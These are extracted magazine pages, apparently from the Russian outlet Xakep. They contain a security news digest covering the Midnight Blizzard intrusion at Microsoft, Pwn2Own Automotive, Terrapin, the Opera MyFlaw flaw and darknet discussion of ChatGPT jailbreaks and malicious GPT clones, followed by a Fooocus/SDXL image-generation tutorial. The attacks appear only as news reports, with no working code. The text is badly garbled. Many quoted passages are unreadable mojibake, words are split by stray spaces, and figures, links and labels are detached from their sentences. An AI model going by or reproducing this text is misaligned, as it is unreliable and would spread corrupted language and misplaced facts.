ìèíèìàëü íîå êîëè÷åñ òâî ïîïûòîê, ÷òî áû èçáå æàòü îáíà ðóæå íèÿ
è áëî êèðîâ êè ó÷åò íûõ çàïèñåé èç�çà áîëü øîãî êîëè÷åñ òâà íåóäà÷», —
ñîîá ùàåò Microsoft.

Кро ме того, Microsoft под твер дила, что мно гофак торная аутен тифика ция
для это го акка унта дей стви тель но была отклю чена, что поз волило ата кующим
получить дос туп к сис темам Microsoft (пос ле того как они подоб рали пра виль- 
ный пароль).

В ком пании объ ясни ли, что тес товая учет ная запись по ошиб ке име ла дос- 
туп к при ложе нию OAuth с при виле гиро ван ным дос тупом к кор поратив ной
сре де Microsoft. Имен но этот рас ширен ный дос туп поз волил хакерам соз дать
допол нитель ные OAuth-при ложе ния для получе ния дос тупа к дру гим кор- 
поратив ным поч товым ящи кам.

«

»

«Midnight Blizzard èñïîëü çîâàëà ïîëó÷åí íûé äîñ òóï, ÷òî áû íàé òè
è ñêîì ïðî ìåòè ðîâàòü óñòà ðåâ øåå òåñ òîâîå OAuth-ïðè ëîæå íèå,
êîòîðîå èìå ëî ïðè âèëå ãèðî âàí íûé äîñ òóï ê êîð ïîðàòèâ íîé ñðå äå
Microsoft. Òàê àòà êóþùèå ñîç äàëè äîïîë íèòåëü íûå âðå äîíîñ íûå
OAuth-ïðè ëîæå íèÿ.

Òàê æå îíè ñîç äàëè íîâóþ ó÷åò íóþ çàïèñü ïîëü çîâàòå ëÿ, ÷òî áû
ïîëó÷èòü ñîã ëàñèå â êîð ïîðàòèâ íîé ñðå äå Microsoft äëÿ ïîä êîí òðîëü- 
íûõ èì âðå äîíîñ íûõ OAuth-ïðè ëîæå íèé. Çàòåì çëî óìûø ëåííè êè
èñïîëü çîâàëè óñòà ðåâ øåå òåñ òîâîå OAuth-ïðè ëîæå íèå äëÿ ïðå äîñ- 
òàâëå íèÿ ñåáå ðîëè Office 365 Exchange Online full_access_as_app,
êîòîðàÿ ïîç âîëÿëà ïîëó÷èòü äîñ òóï ê ïî÷ òîâûì ÿùè êàì», — ïèøåò
Microsoft.

Как отме чает извес тный ИБ-спе циалист Кевин Бомонт (Kevin Beaumont),
единс твен ный спо соб, который поз воля ет наз начить все могу щую роль
full_access_as_app при ложе нию OAuth, — это учет ная запись с при виле гиями
адми нис тра тора. «Кто-то допус тил серь езную ошиб ку при кон фигура ции», —
пишет Бомонт.

Рас сле дова ние это го инци ден та показа ло, что Midnight Blizzard «ата кова ла
и дру гие орга низа ции», и Microsoft заяв ляет, что уже начала уве дом лять пос- 
тра дав шие орга низа ции о слу чив шемся.

Так, в середи не янва ря ком пания Hewlett Packard Enterprise (HPE) ,
что груп пиров ка Midnight Blizzard получи ла несан кци они рован ный дос туп к ее
поч товой сре де Microsoft Office 365 и успешно похища ла отту да дан ные, сох- 
раняя дос туп с мая 2023 года.

пи сала

Тог да сооб щалось, что HPE получи ла пре дуп режде ние об ата ке извне,
одна ко ком пания не рас кры вала, от кого оно было получе но. Теперь ста- 
новит ся ясно, что пре дуп режде ние исхо дило от пред ста вите лей Microsoft.

ДАРКНЕТ ОБСУЖДАЕТ ИИ
Спе циалис ты Kaspersky Digital Footprint Intelligence изу чили сооб щения в дар кне те на тему
исполь зования ChatGPT и дру гих ана логич ных решений на осно ве боль ших язы ковых моделей
(LLM).

В 2023 году на теневых форумах и в Telegram-каналах было най дено более  таких пос тов.
Боль ше все го обсужде ний было в апре ле — в этом месяце экспер ты зафик сирова ли  сооб- 
щений.

2890
509

В отче те ком пании рас ска зыва ется, что мно гочис ленные обсужде ния мож но раз делить на сле- 
дующие нап равле ния: , , 

,  (WormGPT, XXXGPT,
FraudGPT) и .

зло упот ребле ния самим ChatGPT джей лбрей ки для  LLM ис- 
поль зование ИИ для соз дания мал вари «злые» ана логи ChatGPT

про дажа акка унтов

Ко личес тво сооб щений о про даже акка унтов ChatGPT, получен ных раз личны ми спо соба ми

В сети про дают как , укра ден ные у нас тоящих
поль зовате лей и ком паний, так и авто мати чес ки соз данные .
Зло умыш ленни ки авто мати зиру ют регис тра цию на плат форме, исполь зуя для это го под дель- 
ные или вре мен ные дан ные. Это поз воля ет хакерам эко номить вре мя и сра зу перехо дить
на новый акка унт, как толь ко пре дыду щий перес тает работать.

ак каун ты для  плат ной вер сии ChatGPT
бес плат ные учет ные записи

PWN2OWN
AUTOMOTIVE

Продолжение статьи →

https://vms.drweb.ru/search/?q=Trojan.BtcMine.3767&lng=ru
https://vms.drweb.ru/search/?q=Trojan.BtcMine.2742&lng=ru
https://xakep.ru/2024/01/22/apt29-microsoft/
https://xakep.ru/2024/01/25/hpe-apt29/
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В Токио завер шилось пер вое хакер ское сорев нование Pwn2Own Automotive,
пос вящен ное взло му авто моби лей и все го, что с ними свя зано, орга низо ван- 
ное Trend Micro Zero Day Initiative (ZDI). За три дня учас тни ки зарабо- 
тали 1 323 750 дол ларов США, успе ли дваж ды про демонс три ровать взлом
Tesla и исполь зовали 49 уяз вимос тей нулево го дня про тив элек тро моби лей,
заряд ных стан ций и не толь ко.

Со рев нование прош ло в рам ках авто мобиль ной кон ферен ции Automotive
World, и сре ди целей, пред ложен ных хакерам, были Tesla Model 3/Y (на базе
Ryzen) или Tesla Model S/X (на базе Ryzen), вклю чая инфо тей нмент-сис темы,
модем, тюнер, бес про вод ную связь и авто пилот, а так же заряд ные устрой-
ства для элек тро моби лей и авто мобиль ные опе раци онные сис темы, в том
чис ле Automotive Grade Linux, Android Automotive OS и BlackBerry QNX.

Пос ле завер шения Pwn2Own информа ция обо всех про демонс три рован- 
ных экспер тами уяз вимос тях переда ется пос тавщи кам, и те дол жны испра- 
вить проб лемы в течение 90 дней, а затем Trend Micro Zero Day Initiative откры- 
то опуб лику ет тех ничес кие под робнос ти обо всех исполь зован ных на сорев- 
новании 0-day-экс пло итах.

Бе зого вороч ным победи телем Pwn2Own Automotive 2024 ста ла коман да
Synacktiv, зарабо тав шая 450 тысяч дол ларов и 50 бал лов Master of Pwn.
За ней сле дуют коман ды fuzzware.io с 177,5 тысячи дол ларов (25,5 бал ла)
и Midnight Blue/PHP Hooligans с 80 тысяча ми дол ларов (16 бал лов).

В рам ках сос тязания экспер ты из Synacktiv дваж ды ском про мети рова ли Tesla:
сна чала они получи ли  (объ еди нив для это го
в цепоч ку три уяз вимос ти), а затем осу щес тви ли 
информа цион но-раз вле катель ной сис темы авто с помощью двух цепочек 0-
day-экс пло итов.

root-дос туп к модему Tesla
по бег из песоч ницы

Кро ме того, на кон курсе иссле дова тели про демонс три рова ли две уни каль- 
ные цепоч ки атак, нап равлен ные про тив заряд ных стан ций 
и Smart EV JuiceBox 40, а так же экс пло ит, объ еди няющий сра зу 

.

Ubiquiti Connect EV
три ошиб ки

в Automotive Grade Linux
Сто ит отме тить, что коман да Synacktiv лидиру ет на Pwn2Own далеко

не впер вые. К при меру, экспер ты были победи теля ми 
, где тоже успешно взло мали Tesla Model 3, показа ли повыше ние при- 

виле гий в Ubuntu Desktop и не толь ко.

Pwn2Own Vancouver
2023

ЧИСЛО АТАК НА ПОЛЬЗОВАТЕЛЕЙ ANDROID-УСТРОЙСТВ
В РОССИИ ВЫРОСЛО В 1,5 ÐÀÇÀ

По дан ным «Лабора тории Кас пер ско го», в про шед шем году количес тво кибера так на поль- 
зовате лей Android-устрой ств в Рос сии вырос ло в .1,5 раза

Од ним из наибо лее рас простра нен ных видов мобиль ной мал вари ста ли , которые
зачас тую мас киру ются под легитим ное ПО. Обыч но поль зовате ли стал кива ются с ними, ког да
уста нав лива ют прог раммы из неофи циаль ных источни ков.

тро яны

НЕУДАЧНОЕ
ОБНОВЛЕНИЕ PIXEL

Вла дель цы смар тфо нов Google Pixel мас сово сооб щают о проб лемах, воз- 
ника ющих пос ле уста нов ки сис темно го обновле ния Google Play от янва- 
ря 2024 года. Поль зовате ли, нап ример, не могут получить дос туп к внут- 
ренней памяти устрой ства, запус тить при ложе ния, открыть камеру, сде лать
скрин шот.

О сбо ях в работе устрой ств сооб щают вла дель цы мно гих моделей Pixel,
вклю чая Google Pixel 5, 6, 6a, 7, 7a, 8 и 8 Pro, то есть проб лема явно не огра- 
ничи вает ся кон крет ной кон фигура цией железа.

Пер вопри чина воз никно вения багов пока неиз вес тна, но, судя по все му,
это соф твер ная проб лема, свя зан ная с обновле нием Google Play от янва- 
ря 2024 года, которую инже неры Google пока не выяви ли и не устра нили, хотя
пред ста вите ли ком пании сооб щили, что уже изу чают этот воп рос.

На дан ный момент боль шинс тво воз можных решений проб лемы пред лага- 
ют сами пос тра дав шие поль зовате ли, одна ко они не устра няют проб лему
пол ностью. Некото рые люди и вов се пишут, что проб лема реша ется толь ко
сбро сом к завод ским нас трой кам, но в этом слу чае все дан ные на устрой стве
будут потеря ны.

«
»

«ß óäèâ ëåí, ïî÷åìó îá ýòîì íå òðó áÿò íà êàæ äîì óãëó, òðå áóÿ
îò Google èñïðàâ ëåíèé. Òðà òèòü ñòîëü êî äåíåã íà òåëåôîí, êîòîðûé
ñòà íîâèò ñÿ íåï ðèãîä íûì äëÿ èñïîëü çîâàíèÿ èç�çà îáíîâëå íèÿ, êðàé- 
íå íåï ðèÿò íî», — ïèøåò íà ôîðóìå ïîä äåð æêè Google Pixel îäèí
èç ïîñ òðà äàâ øèõ.

В этом месяце Google выпус тила сис темное обновле ние Play для Android 10,
пред ста вив его как новый спо соб дос тавки важ ных обновле ний безопас- 
ности, улуч шений и защиты сис темных ком понен тов на устрой ства,
не исполь зующие пос ледний уро вень пат чей, а так же на устрой ства, под дер- 
жка которых уже прек ращена.

То есть обновле ния пос тавля ются нап рямую Google, минуя OEM-вен- 
доров, и приз ваны обес печить сов мести мость ста рых вер сий Android с более
сов ремен ными при ложе ниями и сер висами Google, а так же их отно ситель ную
безопас ность.

В слу чае со смар тфо нами Pixel Google, похоже, раз верты вала обновле ние
поэтап но, и поэто му не все вла дель цы устрой ств успе ли получить проб- 
лемный апдейт. Так что всем, кто еще исполь зует обновле ние от 1 нояб- 
ря 2023 года, рекомен дует ся оста вать ся на нем и отло жить уста нов ку январ- 
ско го обновле ния до про ясне ния ситу ации.

В октябре прош лого года у вла дель цев Pixel уже воз никали похожие проб- 
лемы. Тог да ошиб ка в памяти, появив шаяся с сис темным обновле нием Play,
при вела к пол ному выходу смар тфо нов из строя. В ито ге Google устра нила
проб лему с дос тупом к меди ахра нили щу и пос тоян ными перезаг рузка ми,
выпус тив обновле ние 7 нояб ря 2023 года. Одна ко к тому вре мени мно гие
поль зовате ли уже при бег ли к сбро су до завод ских нас тро ек, в резуль тате
потеряв все свои дан ные.

 SSH-СЕРВЕРОВ УЯЗВИМЫ ПЕРЕД
ПРОБЛЕМОЙ TERRAPIN
11 ÌÈËËÈÎÍÎÂ

Поч ти  SSH-сер веров в интерне те уяз вимы перед ата ками , которые поз- 
воля ют манипу лиро вать дан ными в про цес се хен дшей ка, в ито ге нарушая целос тность канала
SSH при исполь зовании ряда широко рас простра нен ных режимов шиф рования.

11 мил лионов Terrapin

По дан ным ана лити ков Shadowserver, уяз вимы при мер но  всех прос каниро ван ных
образцов в прос транс твах IPv4 и IPv6.

52%

Боль ше все го уяз вимых сис тем было выяв лено в США ( ), за которы ми сле дуют
Китай ( ), Гер мания ( ), Рос сия ( ), Син гапур ( )
и Япо ния ( ).

3,3 мил лиона
1,3 мил лиона 1 мил лион 700 тысяч 390 тысяч

380 тысяч

OPERA MYFLAW

Эк спер ты из Guardio Labs обна ружи ли RCE-уяз вимость в бра узе ре Opera
для Windows и macOS, которую мож но исполь зовать для выпол нения любого
фай ла в опе раци онной сис теме. Проб лема получи ла наз вание MyFlaw, пос- 
коль ку экс плу ати рует фун кцию  в Opera, поз воля ющую син хро низи- 
ровать сооб щения и фай лы меж ду мобиль ными и дес ктоп ными устрой ства ми.

My Flow

Проб лема зат рагива ет бра узе ры Opera и Opera GX и была обна руже на
еще 17 нояб ря 2023 года. Так как иссле дова тели сра зу сооб щили об уяз- 
вимос ти раз работ чикам, ошиб ку устра нили еще в прош лом году — в сос таве
обновле ний, вышед ших 22 нояб ря 2023 года.

My Flow пред став ляет собой похожий на чат интерфейс для обме на замет- 
ками и фай лами, которые могут быть откры ты через веб-интерфейс, то есть
файл может быть выпол нен за пре дела ми гра ниц безопас ности бра узе ра.

My Flow пре дус танов лен в Opera и под держи вает ся с помощью встро- 
енно го рас ширения под наз вани ем Opera Touch Background, которое отве- 
чает за связь со сво им мобиль ным ана логом.

Это рас ширение пос тавля ется с собс твен ным фай лом манифес та,
в котором ука заны все необ ходимые раз решения, вклю чая
externally_connectable, опре деля ющее, какие веб-стра ницы и рас ширения
могут под клю чать ся к нему. Так, домены, которые могут вза имо дей ство вать
с рас ширени ем, дол жны соот ветс тво вать шаб лонам *.ow.opera.com
и *.ow.op-test.net, которые кон тро лиру ются самими раз работ чиками бра узе- 
ра.

Од нако при помощи ска нера urlscan.io иссле дова телям Guardio Labs уда- 
лось обна ружить «дав но забытую» вер сию лен динга My Flow, рас положен ную
на домене web.ow.opera.com.

«

»

«Ñàìà ñòðà íèöà âûã ëÿäèò òî÷ íî òàê æå, êàê è òåêóùàÿ, íî èçìå íåíèÿ
êðî þòñÿ ïîä êàïîòîì: íà íåé íå òîëü êî îòñóòñ òâó åò ìåòàòåã content
security policy, íî è ïðè ñóòñ òâó åò òåã script, âûçûâà þùèé ôàéë
JavaScript áåç êàêîé�ëèáî ïðî âåð êè öåëîñ òíîñ òè, — ãëà ñèò îò÷åò
ýêñïåð òîâ. — Ýòî èìåí íî òî, ÷òî íóæ íî çëî óìûø ëåííè êó, — íåáåçî- 
ïàñ íûé, çàáûòûé, óÿç âèìûé äëÿ èíú åêöèé êîäà ðåñóðñ, êîòîðûé èìå åò
äîñ òóï ê âûñîêîï ðèâèëå ãèðî âàí íîìó íàòèâ íîìó API áðà óçå ðà».

Да лее соз данная иссле дова теля ми ата ка исполь зовала спе циаль но раз- 
работан ное рас ширение. Оно побуж дало поль зовате ля клик нуть в любом
мес те экра на и исполь зовалось для переда чи зашиф рован ного пей лоада
через модифи циро ван ный JavaScript-файл на хост для пос леду юще го выпол- 
нения.

« »
«Àòà êà îñó ùåñò âëÿ åòñÿ ñ ïîìîùüþ ïîä êîí òðîëü íîãî (çëî óìûø ëåííè- 
êó) ðàñ øèðåíèÿ äëÿ áðà óçå ðà, êîòîðîå ýôôåêòèâ íî îáõî äèò ïåñî÷ íèöó
è âåñü ïðî öåññ áðà óçå ðà â öåëîì», — ïîÿñ íÿþò èññëå äîâà òåëè.

Раз работ чики Opera заяви ли, что, получив информа цию об уяз вимос ти, они
не толь ко опе ратив но испра вили ситу ацию на сто роне сер вера, но и при няли
меры для пре дот вра щения пов торно го воз никно вения подоб ных проб лем.

«
»

«Íàøà òåêóùàÿ ñòðóê òóðà èñïîëü çóåò ñòàí äàðò HTML, è ýòî íàèáî ëåå
áåçîïàñ íûé âàðè àíò, êîòîðûé íå íàðóøà åò êëþ ÷åâóþ ôóí êöè îíàëü- 
íîñòü, — êîì ìåíòè ðóþò â êîì ïàíèè. — Ïîñ ëå òîãî êàê Guardio ïðå äóï- 
ðåäèëè íàñ îá ýòîé óÿç âèìîñ òè, ìû óñòðà íèëè ïðè ÷èíó ýòèõ ïðîá ëåì
è äåëà åì âñå âîç ìîæíîå, ÷òî áû ïîäîá íûå ïðîá ëåìû íå âîç íèêàëè
â áóäóùåì».

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Steam прек раща ет под дер жку Windows 7 и 8.1 из сооб ражений безопас ности

Взлом Комис сии по цен ным бумагам и бир жам США пов лиял на цену Bitcoin

Ха керы исполь зуют недоку мен тирован ный API Chrome для соз дания новых cookie

Мо шен ники исполь зуют ИИ для соз дания голосо вых фей ков в Telegram

Червь NoaBot заража ет Linux-устрой ства май нерами

GPU AMD, Apple и Qualcomm сли вают дан ные ИИ из-за уяз вимос ти LeftoverLocals

0-day-баги в Ivanti Connect Secure VPN и Policy Secure под вер глись мас совым ата кам

Ад мин BreachForums при гово рен к 20 годам под над зором

Взло ман сайт под дер жки Trezor. Пос тра дали дан ные 66 тысяч поль зовате лей

Уяз вимос ти в крип тобан коматах Lamassu Douro могут исполь зовать ся для кра жи средств

https://twitter.com/thezdi/status/1750009207724916989
https://twitter.com/thezdi/status/1750395593548300694
https://twitter.com/thezdi/status/1750040225320202441
https://twitter.com/thezdi/status/1750413812820480311
https://xakep.ru/2023/03/24/pwn2own-vancouver-2023/
https://xakep.ru/2023/12/21/terrapin/
https://www.opera.com/features/flow
https://xakep.ru/2024/01/09/steam-windows/
https://xakep.ru/2024/01/10/sec-x-hacked/
https://xakep.ru/2024/01/10/undocumented-oauth2-functionality/
https://xakep.ru/2024/01/11/fake-voice-messages/
https://xakep.ru/2024/01/12/noabot/
https://xakep.ru/2024/01/18/leftoverlocals/
https://xakep.ru/2024/01/18/ivanti-0days/
https://xakep.ru/2024/01/22/pompompurin-sentenced/
https://xakep.ru/2024/01/23/trezor-support-hack/
https://xakep.ru/2024/01/24/lamassu-douro/


Олег Афонин
Эксперт по мобильной

криминалистике компании
«Элкомсофт»

aoleg@voicecallcentral.com

COVERSTORY

Ты, навер ное, уже нас лышан о ней рон ке
Stable Diffusion, рису ющей кар тинки локаль- 
но на тво ем компь юте ре без вся ких сер- 
висов с плат ными токена ми. Недав но выш- 
ла новая вер сия — SDXL, то есть «Extra
Large». В этой статье мы с тобой уста новим
ее и пос мотрим, как она генери рует кар- 
тинки.

ÏÐÈÑÒÓÏÀÅÌ

Что бы гонять SDXL локаль но, нам пот ребу ется виде окар та отно ситель но све- 
жего поколе ния и хотя бы 6 Гбайт виде опа мяти, так же подой дет «мак»
с чипом серии M. Одна ко я буду все делать в Windows на машине с кар той
Nvidia.

WWW

Ес ли у тебя кар та AMD, можешь гля нуть 
 и .

инс трук- 
цию на Medium ви деоту тори ал

Ус танов щик будет качать и ста вить мно гочис ленные модули общим объ- 
емом 10–15 Гбайт, так что пред лагаю про мотать статью вниз и сра зу запус- 
тить про цесс, что бы все успе ло ска чать ся, пока ты чита ешь статью.

Те бе понадо бит ся Python вер сии 3.10, и никакой дру гой — в акту аль ной
сбор ке Python 3.12 не работа ют некото рые нуж ные пакеты. Ска чать его
можешь с .офи циаль ного сай та

Ус тановив Python, ска чай при ложе ние  со стра ницы про екта
на GitHub. Рас пакуй архив в пап ку, куда будет уста нов лено при ложе ние,
и запус ти уста нов щик одной из команд:

Fooocus

 — будет ска чана модель обще го наз начения;• run.bat

 — будет ска чана фоторе алис тичная модель;• run-realistic.bat

 — ска чает модель, которая будет генери ровать изоб- 
ражения в сти ле ани ме.

• run-anime.bat

Пов торюсь, вре мени это зай мет мно го — про ект исполь зует сот ню с неболь- 
шим пакетов, а для его работы понадо бит ся ска чать файл модели SDXL раз- 
мером в 6,5 Гбайт. Пока это про исхо дит, раз берем ся, что это за Fooocus
такой и какое отно шение он име ет к Stable Diffusion.

STABLE DIFFUSION XL Â ÎÁËÀÊÅ

По ка ска чива ются необ ходимые для работы Fooocus фай лы, Stable Diffusion
XL мож но опро бовать быс тро и совер шенно бес плат но, вос поль зовав шись

 — офи циаль ным облачным сер висом, соз данным в Stability AI.DreamStudio
Ин терфейс прос той: стро ка вво да, выбор соот ношения сто рон и количес- 

тва генери руемых изоб ражений. Сис тема даже под ста вит слу чай ный зап- 
рос — в моем слу чае это «a woman holding a gun stands in a desert 1800’s
America Western town». Зап рос не хуже дру гих, будем и даль ше отталки вать ся
от него.

Жму на кноп ку, через нес коль ко секунд изоб ражения готовы. Их мож но
ска чать «как есть», в раз решении 1024 на 1024, или вос поль зовать ся умным
алго рит мом повыше ния раз решения ESRGAN.

На пер вый взгляд кар тинки выг лядят сим патич но, при ятная цве товая гам ма
в духе ста рых фотог рафий.

Од нако сра зу бро сают ся в гла за извес тные боляч ки ней росетей: лица
и конеч ности. Лицо, кис ти рук — извечная беда Stable Diffusion. И если с кис- 
тями рук все не так однознач но (слиш ком гиб кие, слиш ком мно го воз можных
положе ний), то лица ней росеть дол жна генери ровать иде аль но — но толь ко
если у нее дос таточ но прос транс тва для работы.

Суть проб лемы: изоб ражения соз дают ся в низ ком раз решении; в резуль- 
тате тех пик селей из пол ного раз решения в 1024 на 1024 точ ки, которые
занима ет неболь шое на отда лении лицо, прос то недос таточ но, что бы тща- 
тель но отри совать объ ект. С этой бедой мож но спра вить ся, чем мы и зай- 
мем ся чуть поз же, уже в локаль ной вер сии Stable Diffusion.

ËÎÊÀËÜÍÛÅ ÄÈÑÒÐÈÁÓÒÈÂÛ STABLE DIFFUSION

Са ма по себе Stable Diffusion работа ет через коман дную стро ку и тре бует
опре делен ных навыков для уста нов ки и исполь зования. Делать это вруч ную
нет никакой необ ходимос ти: в сети дос таточ но готовых сбо рок, где к ней- 
росети прик ручен локаль ный веб-интерфейс (а иног да и не веб; есть сбор ки,
в которых вза имо дей ствие с сетью сде лано в виде отдель ного при ложе ния,
обыч но для Windows). Новому поль зовате лю разоб рать ся во всех этих сбор- 
ках и отли чиях меж ду ними неп росто.

По жалуй, самая популяр ная сбор ка для обла дате лей карт Nvidia —
это Stable Diffusion web UI, она же — . Одна ко не так прос то
будет с нуля разоб рать ся во всех парамет рах генера ции, а пер вые резуль- 
таты, веро ятно, не поразят качес твом. Более того, сам про цесс генера ции
на сла бой виде окар те может ока зать ся нас толь ко мед ленным, что ты можешь
подумать, что вся эта воз ня не для тебя. Все это впол не реша емо,
и AUTOMATIC1111 не зря самая популяр ная сбор ка. Тем не менее начинать
работать со Stable Diffusion я рекомен дую с чего-то более прос того,
и Fooocus для это го под ходит иде аль но.

AUTOMATIC1111

Какие вообще бывают сборки?
Сбо рок Stable Diffusion мно жес тво, я упо мяну толь ко те, что меня заин тересо- 
вали боль ше дру гих.

 — иде аль на для начина ющих, сра зу выда ет кар тинки отлично го

качес тва, хорошо работа ет как на сла бых, так и на мощ ных виде окар тах.
В то же вре мя серь езно огра ничи вает поль зовате ля.

• Fooocus

 — один из наибо лее популяр ных про ектов. Здесь есть

огромные воз можнос ти для рас ширения через под клю чаемые модули.
Но здесь доволь но высокий порог вхож дения. Как пра вило, если появ ляет- 
ся какое-нибудь новое инте рес ное решение для Stable Diffusion, то в пер- 
вую оче редь оно офор мля ется в виде рас ширения для A1111.

• AUTOMATIC1111

Форк AUTOMATIC1111 за авторс твом  — тут еще более
широкие воз можнос ти, но и еще более высокий порог вхож дения по срав- 
нению с ори гина лом. Мно гие полез ные рас ширения, которые в A1111 нуж- 
но искать и уста нав ливать самос тоятель но, уже вхо дят в сбор ку, но мне
уда лось добить ся ста биль ной работы лишь с треть ей попыт ки.

• vladmandic

Три перечис ленные выше сбор ки исполь зуют уни фици рован ный син таксис
для сос тавле ния зап росов. Это полез но, нап ример, для того, что бы прос то
ско пиро вать зап рос с сай та Civitai.

 — еще один инте рес ный про дукт. Син таксис отли чает ся, а поль- 

зователь ский интерфейс отли чает ся очень силь но.

• InvokeAI

 — про ект с уни каль ным интерфей сом, наз вание которо го, впро- 

чем, не дол жно тебя обма нуть: ничего осо бен но ком фор тно го тут нет. Что- 
бы сге нери ровать кар тинку, нуж но соз давать узлы и соеди нять их стре лоч- 
ками, как это делалось в ста родав ние вре мена на блок-схе мах, которые
изу чались на уро ках информа тики.

• ComfyUI

 — про ект, опти мизи рован ный для карт AMD. Дру гие про- 
екты могут работать с кар тами AMD, но у SHARK это получа ется нам ного
луч ше.

• nod.ai SHARK

Продолжение статьи →

mailto:aoleg@voicecallcentral.com
https://medium.com/@ttio2tech_28094/four-steps-amd-gpu-run-fooocus-on-windows-step-by-step-guide-ee8eb59e68f1
https://www.youtube.com/watch?v=IcfEWVvrzrA
https://www.python.org/downloads/
https://github.com/lllyasviel/Fooocus?tab=readme-ov-file#download
https://dreamstudio.ai/
https://github.com/AUTOMATIC1111/stable-diffusion-webui
https://github.com/lllyasviel/Fooocus
https://github.com/AUTOMATIC1111/stable-diffusion-webui
https://github.com/vladmandic/automatic
https://github.com/invoke-ai/InvokeAI
https://github.com/comfyanonymous/ComfyUI
https://github.com/nod-ai/SHARK
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ÏÅÐÂÛÉ ÇÀÏÓÑÊ

Ког да уста нов ка Fooocus завер шится, мож но запус кать. В зависи мос ти
от того, какой файл ты запус тишь, прог рамма исполь зует пре дус танов ленные
нас трой ки для генера ции изоб ражений одно го из перечис ленных типов.
При пер вом запус ке соот ветс тву юще го фай ла нуж ная модель (раз- 
мером 6,5 Гбайт) будет ска чана авто мати чес ки. В бра узе ре откро ется пус тое
окно с полем вво да и боль шой кноп кой Generate.

Вво дим зап рос:

a woman holding a gun stands in a desert 1800's America Western town 

Че рез нес коль ко секунд получа ем пару изоб ражений.

Вы берем одно из сге нери рован ных изоб ражений. Вот оно в ори гиналь ном
раз решении.

С руками все пло хо, лицо... поп робу ем улуч шить. Фун кции пос тобра бот ки
откро ются, если пос тавить галоч ку Input Image. Для начала уве личим раз- 
решение кар тинки: дос таточ но прос то перета щить толь ко что сге нери рован- 
ную кар тинку вниз, на область, помечен ную над писью Drag above image
to here.

Нас инте ресу ет вари ант удво ения раз решения. Пос ле того как фун кция отра- 
бота ет, получим такую кар тинку.

Об рати вни мание, что в уве личен ном изоб ражении бук валь но из ниот куда
взя лись допол нитель ные мел кие детали. Если приг лядеть ся, ста нет замет но,
что при сох ранении общей ком позиции исходное и уве личен ное изоб- 
ражения отли чают ся в деталях. Имен но так работа ют умные алго рит мы уве- 
личе ния раз решения; для генера ции уве личен ного изоб ражения исполь зуют- 
ся модели и алго рит мы, подоб ные тем, которые при меня лись для генера ции
исходной кар тинки. Сте пень вари атив ности в Fooocus ты кон тро лиро вать
не можешь (но это воз можно в AUTOMATIC1111).

Термины
 — добав ление, изме нение или уда ление объ ектов внут ри кар тинки

без изме нения ее раз меров или раз решения.
Inpaint

 — изме нение раз меров или соот ношения сто рон кар тинки;

«дорисо выва ние» по кра ям изоб ражения. Недос тающие области будут
дорисо ваны при помощи исходной модели и вве ден ного изна чаль но зап- 
роса. В иде але такая «рас ширен ная» кар тинка будет сос тыкова на с ори гина- 
лом совер шенно бес шовно.

Outpaint

На кар тинке удво енно го раз решения лицо уже поч ти как нас тоящее. Поп- 
робу ем еще улуч шить его встро енной в Fooocus фун кци ей Inpaint. Для это го
толь ко что уве личен ную кар тинку нуж но перета щить в область Inpaint
or Outpaint, пос ле чего кис точкой выб рать лицо.

Оп циональ но мож но добавить допол нитель ные клю чевые сло ва в поле Inpaint
additional prompt. Нап ример, highly detailed face (но мож но и что-то дру гое,
нап ример что бы изме нить цвет глаз или еще какие-то чер ты). Жмем Generate.

По луча ется при мер но так.

Луч ше выш ло или хуже по срав нению с ори гина лом — воп рос спор ный, но уж
точ но вырос ла детали зация, а чер ты лица ста ли более пра виль ными. На при- 
мере дру гой кар тинки мож но про наб людать за про цес сом в деталях.

Ори гинал

Пос ле уве личе ния раз решения

Пос ле работы улуч шай зера

Те перь про дела ем то же самое с руками.

Ес ли кис ти рук находят ся на замет ном рас сто янии друг от дру га, то их луч ше
выбирать и обра баты вать по отдель нос ти. В про тив ном слу чае область
для перери сов ки вый дет слиш ком боль шой и ощу тимо го резуль тата мы
не получим. В нашем при мере кис ти рук рядом, поэто му их мож но обра ботать
в один про ход.

В ито ге получа ется такая кар тинка.

WWW

До пол нитель ная информа ция о 
и  в обсужде ниях на GitHub.

мас шта биро вании
ин пей нте

Продолжение статьи →
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https://github.com/lllyasviel/Fooocus/discussions/414
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ÊÀÊ ÑÎÑÒÀÂÈÒÜ ÇÀÏÐÎÑ

О сос тавле нии зап росов к ней росети мы погово рим под робнее в сле дующих
стать ях. В Fooocus под держи вает ся стан дар тный син таксис при ори тетов,
сов мести мый с AUTOMATIC1111. В час тнос ти, обо рачи вание сло ва из зап роса
в оди нар ные скоб ки уве личи вает его весовой коэф фици ент в 1,1 раза; если
обер нуть в двой ные, то в 1,2 раза. Даль нейшее изме нение весов зада ется,
нап ример, так: .(token:1.3)

Од нако вруч ную задавать веса нет необ ходимос ти, дос таточ но выделить
клю чевое сло во (или нес коль ко слов, раз делен ных запяты ми) и нажать Ctrl-
вверх для повыше ния веса или Ctrl-вниз для пониже ния.

Stable Diffusion обра баты вает зап росы пач ками по 75 токенов, при чем
наиболь ший вес име ют токены в начале пакета. Если исполь зует ся длин ный
зап рос или рас ширение в виде сти ля, то сис тема может раз бить его на нес- 
коль ко пачек в совер шенно неожи дан ном для тебя мес те, и повышен ный вес
незас лужен но получит какой-нибудь нез начитель ный модифи катор. О том,
как с этим бороть ся, я рас ска жу в одной из сле дующих ста тей, ког да будем
раз бирать ся с AUTOMATIC1111 (в Fooocus таких воз можнос тей все рав но 

).
по ка

нет
На конец, важ ный момент: Fooocus по умол чанию исполь зует локаль ное

GPT-подоб ное рас ширение зап росов, что бы получить более кра сивое изоб- 
ражение (это мож но отклю чить в рас ширен ных нас трой ках, сняв галоч ку
со сти ля Fooocus V2). Пос мотреть, какой имен но зап рос был нап равлен
на генера цию, мож но в фай ле  (он соз дает ся в выход ной пап ке; его

мож но так же открыть из вклад ки Advanced → History Log).

log.html

Вот, нап ример, как в реаль нос ти выг лядел наш зап рос:

«

»

 a woman holding a gun stands in a desert 1800's
America Western town
Original Prompt:

 unrealistic, saturated, high contrast, big nose,
painting, drawing, sketch, cartoon, anime, manga, render, CG, 3d,
watermark, signature, label

Negative Prompt:

 a woman holding a gun stands in a desert
1800's America Western town, highly detailed, magic mystical, dramatic
light, cinematic, intricate, beautiful, sharp focus, extremely professional
composition, elegant, very inspirational, special color, stunning, excellent,
winning, modern, artistic, perfect, new classic, best, creative, positive,
cute, spiritual, vibrant, iconic, rational

Fooocus V2 Expansion:

